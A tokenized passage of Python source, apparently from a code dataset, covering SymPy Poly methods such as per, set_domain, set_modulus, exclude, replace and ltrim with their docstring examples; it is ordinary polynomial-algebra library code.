"\\u\\u\\uINDENT\\u\\u\\u ", " _", "gens_", "=_", "\\u", "unify", "\\u", "gens_", "(_", "f_", "._", "gens_", ",_", "g_", "._", "gens_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "dom_", ",_", "lev_", "=_", "f_", "._", "rep_", "._", "dom_", "._", "unify", "_", "(_", "g_", "._", "rep_", "._", "dom_", ",_", "gens_", ")_", ",_", "len_", "(_", "gens_", ")_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "f_", "._", "gens_", "!=_", "gens_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f", "\\u", "monom", "s_", ",_", "f", "\\u", "coeffs_", "=_", "\\u", "dict", "\\u", "reorder", "_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "f_", "._", "rep_", "._", "to", "\\u", "dict_", "(_", ")_", ",_", "f_", "._", "gens_", ",_", "gens_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "f_", "._", "rep_", "._", "dom_", "!=_", "dom_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "f", "\\u", "coeffs_", "=_", "[_", "dom_", "._", "convert_", "(_", "c_", ",_", "f_", "._", "rep_", "._", "dom_", ")_", "for_", "c_", "in_", "f", "\\u", "coeffs_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "F_", "=_", "DM", "P_", "(_", "dict_", "(_", "list_", "(_", "zip_", "(_", "f", "\\u", "monom", "s_", ",_", "f", "\\u", "coeffs_", ")_", ")_", ")_", ",_", "dom_", ",_", "lev_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "F_", "=_", "f_", "._", "rep_", "._", "convert_", "(_", "dom_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "g_", "._", "gens_", "!=_", "gens_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "g", "\\u", "monom", "s_", ",_", "g", "\\u", "coeffs_", "=_", "\\u", "dict", "\\u", "reorder", "_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "g_", "._", "rep_", "._", "to", "\\u", "dict_", "(_", ")_", ",_", "g_", "._", "gens_", ",_", "gens_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "g_", "._", "rep_", "._", "dom_", "!=_", "dom_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "g", "\\u", "coeffs_", "=_", "[_", "dom_", "._", "convert_", "(_", "c_", ",_", "g_", "._", "rep_", "._", "dom_", ")_", "for_", "c_", "in_", "g", "\\u", "coeffs_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "G_", "=_", "DM", "P_", "(_", "dict_", "(_", "list_", "(_", "zip_", "(_", "g", "\\u", "monom", "s_", ",_", "g", "\\u", "coeffs_", ")_", ")_", ")_", ",_", "dom_", ",_", "lev_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "G_", "=_", "g_", "._", "rep_", "._", "convert_", "(_", "dom_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Uni", "fication", "Failed_", "(_", "\"", "can", "'", "t", " ", "unify", " ", "%", "s", " ", "with", " ", "%", "s", "\"_", "%_", "(_", "f_", ",_", "g_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cls_", "=_", "f_", "._", "\\u\\u", "class\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "per_", "(_", "rep_", ",_", "dom_", "=_", "dom_", ",_", "gens_", "=_", "gens_", ",_", "remove_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "remove_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "gens_", "=_", "gens_", "[_", ":_", "remove_", "]_", "+_", "gens_", "[_", "remove_", "+_", "1_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "gens_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "return_", "dom_", "._", "to", "\\u", "sympy_", "(_", "rep_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "cls_", "._", "new_", "(_", "rep_", ",_", "*_", "gens_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "dom_", ",_", "per_", ",_", "F_", ",_", "G_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "per_", "(_", "f_", ",_", "rep_", ",_", "gens_", "=_", "None_", ",_", "remove_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Creat", "e", " ", "a", " ", "Poly", " ", "out", " ", "of", " ", "the", " ", "give", "n", " ", "represent", "ation", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", ",", " ", "ZZ", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", ",", " ", "y", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "polys", ".", "poly", "classe", "s", " ", "import", " ", "DM", "P", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "a", " ", "=", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "1", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "a", ".", "per", "(", "DM", "P", "([", "ZZ", "(", "1", "),", " ", "ZZ", "(", "1", ")]", ",", " ", "ZZ", "),", " ", "gens", "=[", "y", "])", "\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "y", " ", "+", " ", "1", ",", " ", "y", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "gens_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "gens_", "=_", "f_", "._", "gens_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "remove_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "gens_", "=_", "gens_", "[_", ":_", "remove_", "]_", "+_", "gens_", "[_", "remove_", "+_", "1_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "gens_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "f_", "._", "rep_", "._", "dom_", "._", "to", "\\u", "sympy_", "(_", "rep_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "f_", "._", "\\u\\u", "class\\u\\u_", "._", "new_", "(_", "rep_", ",_", "*_", "gens_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set\\u", "domain_", "(_", "f_", ",_", "domain_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Set", " ", "the", " ", "ground", " ", "domain", " ", "of", " ", "``", "f", "``.", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "opt_", "=_", "options_", "._", "build", "\\u", "options_", "(_", "f_", "._", "gens_", ",_", "{_", "'", "domain", "'_", ":_", "domain_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "f_", "._", "per_", "(_", "f_", "._", "rep_", "._", "convert_", "(_", "opt_", "._", "domain_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "domain_", "(_", "f_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Get", " ", "the", " ", "ground", " ", "domain", " ", "of", " ", "``", "f", "``.", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "f_", "._", "rep_", "._", "dom_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set\\u", "modulus", "_", "(_", "f_", ",_", "modulus", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Set", " ", "the", " ", "modulus", " ", "of", " ", "``", "f", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "5", "*", "x", "**", "2", " ", "+", " ", "2", "*", "x", " ", "-", " ", "1", ",", " ", "x", ").", "set\\u", "modulus", "(", "2", ")", "\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "1", ",", " ", "x", ",", " ", "modulus", "=", "2", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "modulus", "_", "=_", "options_", "._", "Modul", "us_", "._", "preprocess_", "(_", "modulus", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "f_", "._", "set\\u", "domain_", "(_", "FF_", "(_", "modulus", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "modulus", "_", "(_", "f_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Get", " ", "the", " ", "modulus", " ", "of", " ", "``", "f", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "1", ",", " ", "modulus", "=", "2", ").", "get", "\\u", "modulus", "()", "\\", "10", ";", " ", " ", " ", " ", "2", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "domain_", "=_", "f_", "._", "get", "\\u", "domain_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "domain_", "._", "is", "\\u", "Fini", "te", "Field_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Integer_", "(_", "domain_", "._", "characteristic", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Polynomial", "Error_", "(_", "\"", "not", " ", "a", " ", "polynomial", " ", "over", " ", "a", " ", "Gal", "ois", " ", "field", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "eval", "\\u", "subs_", "(_", "f_", ",_", "old_", ",_", "new_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Intern", "al", " ", "implementation", " ", "of", " ", ":", "func", ":`", "subs", "`.", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "old_", "in_", "f_", "._", "gens_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "new_", "._", "is", "\\u", "number_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "f_", "._", "eval_", "(_", "old_", ",_", "new_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "return_", "f_", "._", "replace_", "(_", "old_", ",_", "new_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Polynomial", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "f_", "._", "as", "\\u", "expr_", "(_", ")_", "._", "subs_", "(_", "old_", ",_", "new_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "exclude_", "(_", "f_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Remove", " ", "unne", "cess", "ary", " ", "generat", "ors", " ", "from", " ", "``", "f", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "a", ",", " ", "b", ",", " ", "c", ",", " ", "d", ",", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "a", " ", "+", " ", "x", ",", " ", "a", ",", " ", "b", ",", " ", "c", ",", " ", "d", ",", " ", "x", ").", "exclu", "de", "()", "\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "a", " ", "+", " ", "x", ",", " ", "a", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "J_", ",_", "new_", "=_", "f_", "._", "rep_", "._", "exclude_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gens_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "j_", "in_", "range_", "(_", "len_", "(_", "f_", "._", "gens_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "j_", "not_", "in_", "J_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "gens_", "._", "append_", "(_", "f_", "._", "gens_", "[_", "j_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "f_", "._", "per_", "(_", "new_", ",_", "gens_", "=_", "gens_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "replace_", "(_", "f_", ",_", "x_", ",_", "y_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Replace", " ", "``", "x", "``", " ", "with", " ", "``", "y", "``", " ", "in", " ", "generat", "ors", " ", "list", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", ",", " ", "y", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "1", ",", " ", "x", ").", "replace", "(", "x", ",", " ", "y", ")", "\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "y", "**", "2", " ", "+", " ", "1", ",", " ", "y", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "y_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "f_", "._", "is", "\\u", "univ", "aria", "te_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x_", ",_", "y_", "=_", "f_", "._", "gen_", ",_", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Polynomial", "Error_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "synta", "x", " ", "support", "ed", " ", "only", " ", "in", " ", "univ", "aria", "te", " ", "case", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "x_", "==_", "y_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "f_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "x_", "in_", "f_", "._", "gens_", "and_", "y_", "not_", "in_", "f_", "._", "gens_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dom_", "=_", "f_", "._", "get", "\\u", "domain_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "dom_", "._", "is", "\\u", "Composit", "e_", "or_", "y_", "not_", "in_", "dom_", "._", "symbols_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "gens_", "=_", "list_", "(_", "f_", "._", "gens_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gens_", "[_", "gens_", "._", "index_", "(_", "x_", ")_", "]_", "=_", "y_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "f_", "._", "per_", "(_", "f_", "._", "rep_", ",_", "gens_", "=_", "gens_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "raise_", "Polynomial", "Error_", "(_", "\"", "can", "'", "t", " ", "replace", " ", "%", "s", " ", "with", " ", "%", "s", " ", "in", " ", "%", "s", "\"_", "%_", "(_", "x_", ",_", "y_", ",_", "f_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "ltr", "im_", "(_", "f_", ",_", "gen_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Remove", " ", "dummy", " ", "generat", "ors", " ", "from", " ", "the", " ", "\"", "left", "\"", " ", "of", " ", "``", "f", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", ",", " ", "y", ",", " ", "z", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "y", "**", "2", " ", "+", " ", "y", "*", "z", "**", "2", ",", " ", "x", ",", " ", "y", ",", " ", "z", ").", "ltr", "im", "(", "y", ")", "\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "y", "**", "2", " ", "+", " ", "y", "*", "z", "**", "2", ",", " ", "y", ",", " ", "z", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rep_", "=_", "f_", "._", "as", "\\u", "dict_", "(_", "native_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "j_", "=_", "f_", "._", "\\u", "gen", "\\u", "to", "\\u", "level_", "(_", "gen_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "terms_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "monom", "_", ",_", "coeff_", "in_", "rep_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "monom", "_", "=_", "monom", "_", "[_", "j_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "monom", "_", "not_", "in_", "terms_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "terms_", "[_", "monom", "_", "]_", "=_", "coeff_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Polynomial", "Error_", "(_", "\"", "can", "'", "t", " ", "left", " ", "trim", " ", "%", "s", "\"_", "%_", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "gens_", "=_", "f_", "._", "gens_", "[_", "j_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "f_", "._", "new_", "(_", "DM", "P_", "._", "from", "\\u", "dict_", "(_", "terms_", ",_", "len_", "(_", "gens_", ")_", "-_", "1_", ",_", "f_", "._", "rep_", "._", "dom_", ")_", ",_", "*_", "gens_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "to", "\\u", "ring_", "(_", "f_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Make", " ", "the", " ", "ground", " ", "domain", " ", "a", " ", "ring", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", ",", " ", "QQ", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "1", ",", " ", "domain", "=", "QQ", ").", "to", "\\u", "ring", "()", "\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "to", "\\u", "ring", "'_", ")_", ":_", 